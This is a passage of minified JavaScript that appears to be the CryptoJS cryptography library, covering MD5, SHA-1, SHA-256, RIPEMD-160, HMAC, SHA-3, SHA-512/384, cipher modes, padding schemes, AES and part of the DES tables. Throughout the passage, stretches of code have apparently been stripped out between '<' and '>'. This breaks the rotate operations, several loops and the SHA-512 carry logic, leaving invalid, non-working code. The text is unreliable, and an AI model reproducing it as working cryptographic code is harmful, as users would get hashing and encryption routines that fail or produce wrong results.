(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,